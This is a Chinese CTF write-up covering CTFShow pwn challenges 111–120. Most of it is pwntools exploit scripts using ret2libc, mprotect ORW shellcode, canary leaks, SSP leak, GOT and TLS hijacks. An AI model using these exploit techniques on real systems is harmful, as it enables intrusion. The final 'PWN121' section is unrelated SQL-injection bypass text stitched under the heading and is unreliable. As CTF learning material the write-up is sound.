CTFShow bypass安全机制

PNW111(简单栈溢出)

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn111"
# io = remote("pwn.challenge.ctf.show",28276)
io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/buu_libc-2.23_64.so")


s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

ru(b"Input your message:\n")

ret = 0x000000000040025c
pop_rdi_ret = 0x00000000004008d3
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_ret = elf.sym['main']


payload = b"a"*0x88+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_ret)
sl(payload)

puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr-libc.dump("puts")
system = libc_base+libc.dump("system")
binsh = libc_base+libc.dump("str_bin_sh")
print("puts_addr---------------------->: ",hex(puts_addr))


ru(b"Input your message:\n")

payload = b"a"*0x88+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(main_ret)
sl(payload)


itr()

PWN112

int ctfshow()
{
  var[13] = 0;
  var[14] = 0;
  init();
  puts("What's your name?");
  __isoc99_scanf("%s", var);
  if ( *(_QWORD *)&var[13] )
  {
    if ( *(_QWORD *)&var[13] != 0x11LL )
      return printf(
               "something wrong! val is %d",
               var[0],
               var[1],
               var[2],
               var[3],
               var[4],
               var[5],
               var[6],
               var[7],
               var[8],
               var[9],
               var[10],
               var[11],
               var[12],
               var[13],
               var[14]);
    else
      return register_tm();
  }
  else
  {
    printf("%s, Welcome!\n", var);
    return puts("Try doing something~");
  }
}

因为var是int类型占4个字节,又因为要var[13]=0x11,所以要覆盖4*13个字节,然后写入0x11

ru(b"What's your name?")


payload = b"a"*13*4+p32(0x11)

sl(payload)

PWN113(有意思 64位mprotect)

main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  char v5[1032]; // [rsp+0h] [rbp-420h] BYREF
  __int64 v6; // [rsp+408h] [rbp-18h]
  char v7; // [rsp+417h] [rbp-9h]
  __int64 v8; // [rsp+418h] [rbp-8h]

  is_detail = 0;
  go(argc, argv, envp);
  logo();
  fwrite(">> ", 1uLL, 3uLL, _bss_start);
  fflush(_bss_start);
  v8 = 0LL;
  while ( !feof(stdin) )
  {
    v7 = fgetc(stdin);
    if ( v7 == 10 )
      break;
    v3 = v8++;
    v6 = v3;
    v5[v3] = v7;
  }
  v5[v8] = 0;
  if ( (unsigned int)init(v5) )
  {
    qsort(files, size_of_path, 0x200uLL, cmp);
    search_file_info();
  }
  else
  {
    fflush(_bss_start);
    set_secommp();
  }
  return 0;
}

feof函数的作用就是判断文件流的结束符

没有接受到结束符时就一直执行while循环,然后接受用户的输入。

跟进init函数:

__int64 __fastcall init(char *a1)
{
  __int64 result; // rax
  char *v2; // rax
  struct stat v3; // [rsp+10h] [rbp-1A0h] BYREF
  char ptr[256]; // [rsp+A0h] [rbp-110h] BYREF
  char *src; // [rsp+1A0h] [rbp-10h]
  _BYTE *v6; // [rsp+1A8h] [rbp-8h]

  size_of_path[0] = 0;
  if ( (unsigned int)stat(a1, &v3) == -1 )
  {
    strcpy(ptr, "Can't get the information of the given path.\n");
    fwrite(ptr, 1uLL, 0x2EuLL, _bss_start);
    return 0LL;
  }
  else if ( (v3.st_mode & 0xF000) == 0x8000 )
  {
    size_of_path[0] = 1;
    src = __xpg_basename(a1);
    strcpy(files, src);
    strcpy(dest, a1);
    return 1LL;
  }
  else
  {
    result = v3.st_mode & 0xF000;
    if ( (_DWORD)result == 0x4000 )
    {
      if ( a1[strlen(a1) - 1] != 47 )
      {
        v2 = &a1[strlen(a1)];
        v6 = v2 + 1;
        *v2 = 47;
        *v6 = 0;
      }
      get_dir_detail(a1);
      return 1LL;
    }
  }
  return result;
}

stat 函数就是获取文件的信息属性。文件属性存储在结构体stat里(如下)

__xstat返回的其实是⽂件的stat结构体,⾥⾯会记录⽂件的类型和权限。⽤结构体⾥⾯的mode出来进

⾏判断。

struct stat { 
   
               dev_t     st_dev;         /* ID of device containing file    设备ID,不太常用 */
               ino_t     st_ino;         /* Inode number */
               mode_t    st_mode;        /* File type and mode  */  /*文件的类型和权限,共16位
               													0-11位控制文件的权限

                                                                12-15位控制文件的类型

                                                                0-2比特位:其他用户权限

                                                                3-5比特位:组用户权限

                                                                6-8比特位:本用户权限

                                                                9-11比特位:特殊权限

                                                                12-15比特位:文件类型(因为文件类型只有7中,所以用																12-14位就够
															*/ 
               nlink_t   st_nlink;       /* Number of hard links */
               uid_t     st_uid;         /* User ID of owner */
               gid_t     st_gid;         /* Group ID of owner */
               dev_t     st_rdev;        /* Device ID (if special file) */
               off_t     st_size;        /* Total size, in bytes */
               blksize_t st_blksize;     /* Block size for filesystem I/O */
               blkcnt_t  st_blocks;      /* Number of 512B blocks allocated */

               /* Since Linux 2.6, the kernel supports nanosecond precision for the following timestamp fields. For the details before Linux 2.6, see NOTES. */

               struct timespec st_atim;  /* Time of last access */
               struct timespec st_mtim;  /* Time of last modification */
               struct timespec st_ctim;  /* Time of last status change */

           #define st_atime st_atim.tv_sec /* Backward compatibility */
           #define st_mtime st_mtim.tv_sec
           #define st_ctime st_ctim.tv_sec
           };

当我们输入的文件路径没有问题时不会进入else。(如下)

在这里插入图片描述

当我们输入的路径有问题是进入else中的set_secommp函数,然后利用栈溢出打orw

exp:

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn113"
io = remote("pwn.challenge.ctf.show",28195)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc6_2.27-3ubuntu1_amd64.so")


s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))


ret = 0x0000000000400640
pop_rdi_ret = 0x0000000000401ba3
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_ret = elf.sym['main']
data = 0x603000

ru(b">> ")

payload = b"A"*0x418+p8(0x28)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_ret)
sl(payload)



puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc_base = puts_addr-libc.sym["puts"]
mprotect_addr = libc_base+libc.sym["mprotect"]
pop_rdx = libc_base+0x0000000000001b96
pop_rsi = libc_base+0x23e6a
gets_addr = libc_base+libc.sym["gets"]
print("libc_base---------------------->: ",hex(libc_base))

ru(b">> ")
payload = b"A"*0x418+p8(0x28)+p64(pop_rdi_ret)+ p64(data)
payload += p64(gets_addr)+p64(pop_rdi_ret)+p64(data)
payload += p64(pop_rsi)+p64(0x1000)+p64(pop_rdx)
payload += p64(7)+p64(mprotect_addr)+ p64(data)
#这里的data或者bss要以0x000结尾才行

# gdb.attach(io)
sl(payload)

#方法一

# sh = '''
# mov rax, 0x67616c662f2e
# push rax
# mov rdi, rsp
# xor esi, esi
# mov eax, 2
# syscall

# cmp eax, 0
# jg next
# push 1
# mov edi, 1
# mov rsi, rsp
# mov edx, 4
# mov eax, edi
# syscall
# jmp exit

# next:
# mov edi, eax
# mov rsi, rsp
# mov edx, 0x100
# xor eax, eax
# syscall

# mov edx, eax
# mov edi, 1
# mov rsi, rsp
# mov eax, edi
# syscall

# exit:
# xor edi, edi
# mov eax, 231
# syscall
# '''

# 方法二

# sh = ''
# sh += shellcraft.open('/flag')
# sh += shellcraft.read(3,'rsp',0x100)
# sh += shellcraft.write(1,'rsp',0x100)
# shell = asm(sh)


#方法三

# sh = shellcraft.cat("/flag")
# shell = asm(sh)

#方法四

sh = shellcraft.readfile("/flag",2)
shell = asm(sh)

sl(shell)

itr()

PWN114 (signal(SIGSEGV, SIG_IGN)😉

signal(SIGSEGV, SIG_IGN);

程序定义了一个信号量,当出现这个信号量(非法内存访问)的时候,会执行SIG_IGN

即当我们非法内存访问的时候,会忽略此信号

有时候Func这个参数 也可以是我们自定义的参数

signal(11, sigsegv_handler);

这里的11也代指 SIGSEGV

sigsegv_handler函数我们定义为:

程序定义了一个信号量,当出现这个信号量(非法内存访问)的时候,会执行sigsegv_handler函数

即当我们非法内存访问的时候,会将我们的flag通过标准错误打印出来(fflush(stderr))

所以本题的解题方法是只要能溢出就能触发这个信号。

ru(b"Input 'Yes' or 'No': ")

payload = b"Yes".ljust(0x3Fa+8,b"\x00")+p64(0xaaaaaa)
sl(payload)
ru(b"Tell me you want:")
sl(b"aaaa")

PWN115(简单泄露canary)

exp:

ru(b"Try Bypass Me!")
payload = b"aaaa"+b"%55$p"
sl(payload)
ru(b"aaaa0x")
canary = int(r(8),16)
print("canary------------------------->: ",hex(canary))

payload = b"a"*(0xD4-0xc)+p32(canary)+b"a"*0xc+p32(0x80485A6)
sl(payload)

PWN116(简单泄露canary)

exp:

ru(b"Look me & use me!")
payload = b"aaaa"+b"%15$p"
sl(payload)
ru(b"aaaa0x")
canary = int(r(8),16)
print("canary---------------------_>: ",hex(canary))
payload = b"a"*(0x2c-0xc)+p32(canary)+b"a"*0xc+p32(0x8048586)
sl(payload)

PWN117 (SSP Leak有版本限制最好小于libc2.23)

全称是Stack Smashing Protect Leak ,这种方法没办法让我们getshell,但是我们可以利用这种方法获取到内存中的值,比如当flag在内存中储存时,我们就可以利用这个方法来读取flag

在函数结尾处检查canary时,若canary被改变,则程序在终止之前会执行__stack_chk_fail函数,如下所示:

img

__stack_chk_fail()函数定义如下:

eglibc-2.19/debug/stack_chk_fail.c

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}

void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminatedn",
                    msg, __libc_argv[0] ?: "<unknown>");
}

当程序中存在栈溢出,并且溢出的长度可以覆盖掉程序中argv[0]的时候,我们可以通过这种方法打印任意地址上的值,造成任意地址读。

更深一步的讲,对于linux,fs段寄存器实际指向的是当前栈的TLS结构,fs:0x28指向的正是stack_guard

typedef struct
{
  void *tcb;        /* Pointer to the TCB.  Not necessarily the
                       thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;       /* Pointer to the thread descriptor.  */
  int multiple_threads;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  ...
} tcbhead_t;

如果存在溢出并且可以覆盖位于TLS中保存的canary值,那么就可以实现绕过保护机制

TLS中的值由函数security_init进行初始化

static void
security_init (void)
{
  // _dl_random的值在进入这个函数的时候就已经由kernel写入.
  // glibc直接使用了_dl_random的值并没有给赋值
  // 如果不采用这种模式, glibc也可以自己产生随机数

  //将_dl_random的最后一个字节设置为0x0
  uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);

  // 设置Canary的值到TLS中
  THREAD_SET_STACK_GUARD (stack_chk_guard);

  _dl_random = NULL;
}

//THREAD_SET_STACK_GUARD宏用于设置TLS
#define THREAD_SET_STACK_GUARD(value) 
  THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)

远程发生栈溢出时会输出文件名字,正好可以利用SSP来打

在这里插入图片描述

首先找到argv[0]的地址,计算出偏移量,用gdb加载程序,在栈很高的地址上可以看到,它默认指向文件名

在这里插入图片描述

在这里插入图片描述

这里可以看到argv[0]的地址与我们输入的地址相差的偏移是504,所以我们先填充504个字符后,在写入一个地址,然后执行__stack_chk_fail时就会输出我们的flag

flag_addr = 0x6020A0

ru(b"Haha,It has reduced you a lot of difficulty!")
payload = b"a"*504+p64(flag_addr)

sl(payload)

PWN118(劫持 __stack_chk_fail)

利用格式字符串劫持 __stack_chk_fail的got表

satck_chk_fail = elf.got['__stack_chk_fail']
get_flag = 0x08048586

ru(b"Nice to meet you")

payload = p32(satck_chk_fail)+b"%"+bytes(str((get_flag-4)&0xffff),'utf-8')+b"c%7$hn"
payload = payload.ljust(0xa0,b"a")
sl(payload)

pwn119 (fork+puts来泄露canary)

由于fork函数会直接拷贝父进程的内存,包括Canary值,因此可以通过在子进程中修改Canary值来绕过保护‌

ru(b"Try PWN Me!")
payload = b"a"*(0x70-0xc)+b"b"
s(payload)
ru(b"ab")
canary = uu32(r(3).rjust(4,b"\x00"))
print("canary-------------------->: ",hex(canary))

ru(b"Try PWN Me!")
payload = b"a"*(0x70-0xc)+p32(canary)+b"a"*0xc+p32(0x8048636)
s(payload)

PWN120(劫持TLS绕过canary)

首先了解一下这个东西的前提条件和原理

前提:

溢出字节够大,通常至少一个page(4K)

创建一个线程,在线程内栈溢出

原理

在开启canary的情况下,当程序在创建线程的时候,会创建一个TLS(Thread Local Storage),这个TLS会存储canary的值,而TLS会保存在stack高地址的地方。那么,当我们溢出足够大的字节覆盖到TLS所在的地方,就可以控制TLS结构体,进而控制canary到我们想要的值,实现ROP

int __cdecl main(int argc, const char **argv, const char **envp)
{
  pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF

  newthread[1] = __readfsqword(0x28u);
  init(argc, argv, envp);
  logo();
  pthread_create(newthread, 0LL, start, 0LL);
  if ( pthread_join(newthread[0], 0LL) )
  {
    puts("exit failure");
    return 1;
  }
  else
  {
    puts("Bye bye");
    return 0;
  }
}

本题刚好创建了一个线程,在函数start中又存在栈溢出,所以可以劫持TLS。然后ROP栈迁移到bss段执行one_gadget。

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn120"
io = remote("pwn.challenge.ctf.show",28222)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc6_2.27-3ubuntu1_amd64.so")


s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
 
gadget = [0x4f29e,0x4f2a5,0x4f302,0x10a2fc]

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_plt = elf.sym['read']
main_ret = 0x400A1E
ret = 0x00000000004006be
pop_rdi = 0x0000000000400be3
pop_rsi_r15 = 0x0000000000400be1
leave = 0x400B71
data = 0x602000

ru(b"How much do you want to send this time?")
sl(str(0x1000))

payload = b"a"*(0x510)+p64(data-8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)
payload += p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(data)+p64(0)+p64(read_plt)+p64(leave)
payload = payload.ljust(0x1000,b"a")

# gdb.debug(pwnfile,"b *0x400A1E")

s(payload)

puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr-libc.dump("puts")
one_gadget = libc_base+gadget[2]
print("libc_base-------------->: ",hex(libc_base))

sl(p64(one_gadget))



itr()

PWN121

### 关于CTFShow萌新Web18的解题思路 #### 题目分析 根据已知的信息,CTFShow平台上的Web类题目通常涉及常见的Web安全漏洞利用技巧。对于“萌新Web18”,虽然具体描述未提供,但从其他参考资料来看,这类题目可能涉及到SQL注入防护机制[^3]。 在引用的内容中提到的一个例子显示了一个正则表达式过滤逻辑用于防止SQL注入攻击。如果`$id`变量匹配到任何被禁止的关键字(如 `'`, `"`, `or`, `|`, `-`, `\`, `/`, `*`, `<`, `>`, `^`, `!`, `x`, `hex`, `(`, `)`, `+`, 或者 `select`),程序会返回错误提示"id error"[^3]。这表明该题目可能存在类似的输入验证机制来阻止恶意尝试。 #### 可能的解决方法 针对上述情况下的SQL注入防御措施,有几种常见绕过技术可考虑: 1. **编码转换**:某些字符集之间的差异可能导致标准检测失效。例如URL编码、Unicode转义等方式提交参数可能会避开简单的字符串匹配规则。 2. **布尔盲注法**:即使存在严格的数据清洗过程,仍然可以通过观察页面响应变化来进行布尔型盲注测试。比如通过构造条件查询语句并判断其真假结果间接获取数据库信息。 3. **时间延迟注入**:当无法直接得到反馈时,可以采用基于时间等待的方法推测后台执行状态。即向服务器发送带有特定函数调用(如sleep())的请求,并依据响应所需的时间长短推断是否存在漏洞以及进一步探索敏感数据。 4. **联合查询与堆叠注入**:尽管大部分情况下这些操作会被拦截下来,但在特殊场景下也许能够找到突破口实现额外命令附加运行的目的。 需要注意的是,在实际比赛中应当遵循主办方设定的游戏规则合法合规地完成挑战任务;而在真实环境中更应注重保护信息系统免受此类威胁侵害。 以下是演示如何使用Python脚本自动化处理部分流程的例子: ```python import requests url = 'http://example.com/vulnerable_page' payloads = ["'", '"', '`', ';--', '#', '%0a', '\\'] for payload in payloads: params = {'id': f"{payload}"} response = requests.get(url,params=params) if "error" not in response.text.lower(): print(f'[+] Potential bypass found with {params}') ``` 此代码片段仅作为学习交流用途,请勿非法入侵他人网站! ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值